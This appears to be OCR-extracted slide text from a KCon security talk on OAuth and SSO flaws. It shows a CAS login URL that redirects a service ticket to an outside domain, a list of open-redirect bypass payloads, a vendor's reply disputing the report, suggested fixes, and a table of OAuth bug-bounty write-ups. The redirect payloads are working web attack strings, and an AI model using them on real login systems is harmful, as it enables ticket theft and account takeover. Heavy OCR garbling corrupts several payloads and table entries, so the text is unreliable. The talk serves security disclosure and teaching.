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Demo MP4

XS5 Hunter

127.0.0.1:808

2

2
9
9
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Other

& F Telnet404 BITIE

xxx@abc.com|

SICEB?

ARKPES: & R
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https://sso.telnet404.com/cas/login?service=https://www.seebug.org/accounts/login/?next=/
https://sso.telnet404.com/cas/login?service=https://baidu.com/
https://www.baidu.com/?ticket=ST-*********

Redirect Bypass

// /www.baidu.com/%2f%2e%2¢e/
/https:/%5cbaidu.com/

/ /www.baidu.com/%2f%2e%2e

/ /www.baidu.com

/www.baidu.com
https://www.google.com/www.baidu.com
/%2Fbaidu%252Ecom
http://www.google.com\.baidu.com
http://www.google.com\@baidu.com
http://www.google.com\#baidu.com
http://www.google.com\?baidu.com
http://www.google.com\ \baidu.com
http://www.google.com\ baidu.com
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Help Me(how to fixed)

Hello,

The reported behaviour is caused by the design of the authorisation protocol.

Thus at this point, it's not clear to us what would need to be resolved.

Thank you.

KCon



Help Me(how to fixed)

1. Time line
2. Validity
3. White list

KCon
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8 Bug Bounty

Title & URL Author Bug bounty program | Vulnerability | Reward $$$ |Publication date
Finding hidden gems vol.
: i Mateusz Information
1: forging OAuth tokens ) - ) $3,133.70 07/23/2018
using discovered client id Olejarka disclosure
and client secret
Zero to Account
: ¢ Daniel
Takeover: How | ' Oauth Logic flaw - 06/05/2018
Impersonated” Someone| Svartman
Else Using AuthO
Stealing OAuth Token | A1y 57 Hyssain - OAuth flaw - 09/01/2017
(MITM)
Stealing Access Token of
One-drive Integration By | o Hyssain - OAuth flaw, CSRF - 07/18/2017
Chaining CSRF
Vulnerability
OAuth flaw, Login
Authentication bypass on CSRF, Open
Airbnb via OAuth tokens | Arne Swinnen Airbnb redirect, $5,000 06/22/2017
theft Authentication
bypass
Internet Explorer has a File . OAuth flaw, RPO,
Github, Google - 09/06/2016
URL problem Descriptor 1t 9 XSS Joey
Stealing Facebook Josip CSRF, OAuth flaw,
access_tokens using CSRF . . Facebook Information - 07/19/2016
in device login flow Franjkovic disclosure
Abdullah Facebook, Ebay, IBM, Unrestricted file
How I Hacked [Oculus] y $0 02/12/2016
OAuth +Ebay +IBM Hussam AnswerHub upload, XSS
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